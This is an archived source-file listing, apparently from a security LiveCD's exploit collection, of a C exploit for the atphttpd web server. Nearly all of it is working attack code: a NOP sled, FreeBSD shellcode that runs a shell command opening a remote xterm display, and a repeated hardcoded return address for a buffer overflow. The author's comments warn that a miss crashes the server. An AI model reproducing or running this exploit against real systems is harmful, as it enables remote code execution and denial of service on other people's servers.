home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / atphttpd / atp-exploit.c < prev    next >
Text File  |  2005-02-12  |  2KB  |  45 lines
  1. /* atphttpd exploit.
  2.  / The exploit sucks, if you get it wrong the first time the server just dies
  3.  / so I didnt bother adding any offset argument to the exploit. Also if you 
  4.  / change the IP addy you may have to change the alignment a little.   
  5.  /
  6.  / http://www.badc0ded.com 
  7. */
  8.  
  9. #define ret "\x78\xf5\xbf\xbf"
  10. char FreeBSD[]=         /* stolen lsd-pl.net shellcode       */      
  11.   "\xeb\x25"             /* jmp     <cmdshellcode+39>      */
  12.   "\x59"                 /* popl    %ecx                   */
  13.   "\x31\xc0"             /* xorl    %eax,%eax              */
  14.   "\x50"                 /* pushl   %eax                   */
  15.   "\x68""//sh"           /* pushl   $0x68732f2f            */
  16.   "\x68""/bin"           /* pushl   $0x6e69622f            */
  17.   "\x89\xe3"             /* movl    %esp,%ebx              */
  18.   "\x50"                 /* pushl   %eax                   */
  19.   "\x66\x68""-c"         /* pushw   $0x632d                */
  20.   "\x89\xe7"             /* movl    %esp,%edi              */
  21.   "\x50"                 /* pushl   %eax                   */
  22.   "\x51"                 /* pushl   %ecx                   */
  23.   "\x57"                 /* pushl   %edi                   */
  24.   "\x53"                 /* pushl   %ebx                   */
  25.   "\x89\xe7"             /* movl    %esp,%edi              */
  26.   "\x50"                 /* pushl   %eax                   */
  27.   "\x57"                 /* pushl   %edi                   */
  28.   "\x53"                 /* pushl   %ebx                   */
  29.   "\x50"                 /* pushl   %eax                   */
  30.   "\xb0\x3b"             /* movb    $0x0b,%al              */
  31.   "\xcd\x80"             /* int     $0x80                  */ 
  32.   "\xe8\xd6\xff\xff\xff" /* call    <cmdshellcode+2>       */
  33.   "/usr/X11R6/bin/xterm -display 127.0.0.1:0;";
  34.  
  35. main ()
  36. {
  37.   int i;
  38.   for (i=0;i<=501;i++) // this would be a good place to change alignment
  39.     printf("\x90");
  40.   printf("%s",FreeBSD);
  41.   for (i=0;i<=100;i++) 
  42.     printf("%s",ret);
  43.   printf("\n\n");
  44. }
  45.